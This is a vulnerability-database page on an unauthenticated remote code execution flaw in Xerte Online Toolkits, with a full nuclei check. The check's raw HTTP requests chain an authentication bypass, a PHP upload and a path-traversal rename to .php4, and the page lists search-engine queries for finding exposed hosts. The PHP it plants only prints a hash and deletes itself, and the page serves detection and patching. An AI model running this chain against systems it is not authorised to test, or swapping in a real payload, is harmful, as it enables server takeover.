HexBrain

Browse / CVEs / CVE-2026-34413

CVE-2026-34413· xerte / xerte online toolkits· CWE-306

Xerte Online Toolkits <= 3.15 - Remote Code Execution

criticalseverity
9.8CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.

Impact

An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.

Fix

Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.

How to confirm it

Send: GET /setup/
Positive when: status_code == 200 and contains(body, "Welcome to Xerte Online Toolkits Installer")
Send: GET /editor/elfinder/php/connector.php
Positive when: status_code == 302 and contains(body, "Invalid upload location")
Send: GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&nam…
Positive when: status_code == 302 and contains_all(body, "added", "hash", "name")
Send: POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/
Positive when: status_code == 302 and contains_all(body, "added", "hash", "name")
Send: GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&ta…
Positive when: status_code == 302
Send: GET /{{rand}}{{pid}}.php4
Positive when: status_code == 200 and contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")

Run it with nuclei: nuclei -id CVE-2026-34413 -u <target>

The full check
id: CVE-2026-34413

info:
  name: Xerte Online Toolkits <= 3.15 - Remote Code Execution
  author: Aryu-RU
  severity: critical
  description: |
    Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.
  impact: |
    An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.
  remediation: |
    Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.
  reference:
    - https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php
    - https://github.com/bootstrapbool/xerteonlinetoolkits-rce
    - https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34413
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34414
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-34413
    epss-score: 0.0311
    epss-percentile: 0.87899
    cwe-id: CWE-306
  metadata:
    verified: true
    vendor: xerte
    product: xerte_online_toolkits
    shodan-query: http.title:"Xerte Online Toolkits"
    fofa-query: title="Xerte Online Toolkits"
  tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload

variables:
  num: "999999999"
  rand: "{{rand_text_alpha(8)}}"

flow: |
  http(1);
  if (template["webroot"]) {
    http(2);
    if (template["authbypass"]) {
      for (let pid = 1; pid <= 30; pid++) {
        set("pid", pid);
        http(3);
        http(4);
        http(5);
        if (http(6)) {
          break;
        }
      }
    }
  }

http:
  - raw:
      - |
        GET /setup/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: webroot
        part: body
        group: 1
        regex:
          - '<code>([^<]+)</code>'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Welcome to Xerte Online Toolkits Installer")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: authbypass
        part: body
        regex:
          - "Invalid upload location"
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(body, "Invalid upload location")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(body, "added", "hash", "name")'
        condition: and
        internal: true

  - raw:
      - |
        POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----xerteboundary

        ------xerteboundary
        Content-Disposition: form-data; name="cmd"

        upload
        ------xerteboundary
        Content-Disposition: form-data; name="target"

        l1_Lw
        ------xerteboundary
        Content-Disposition: form-data; name="upload[]"; filename="{{rand}}{{pid}}.txt"
        Content-Type: text/plain

        <br><?php echo md5("{{num}}"); unlink(__FILE__); ?>
        ------xerteboundary--

    extractors:
      - type: regex
        name: fileid
        part: body
        group: 1
        regex:
          - '"hash":"(l1_[^"]+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(body, "added", "hash", "name")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /{{rand}}{{pid}}.php4 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from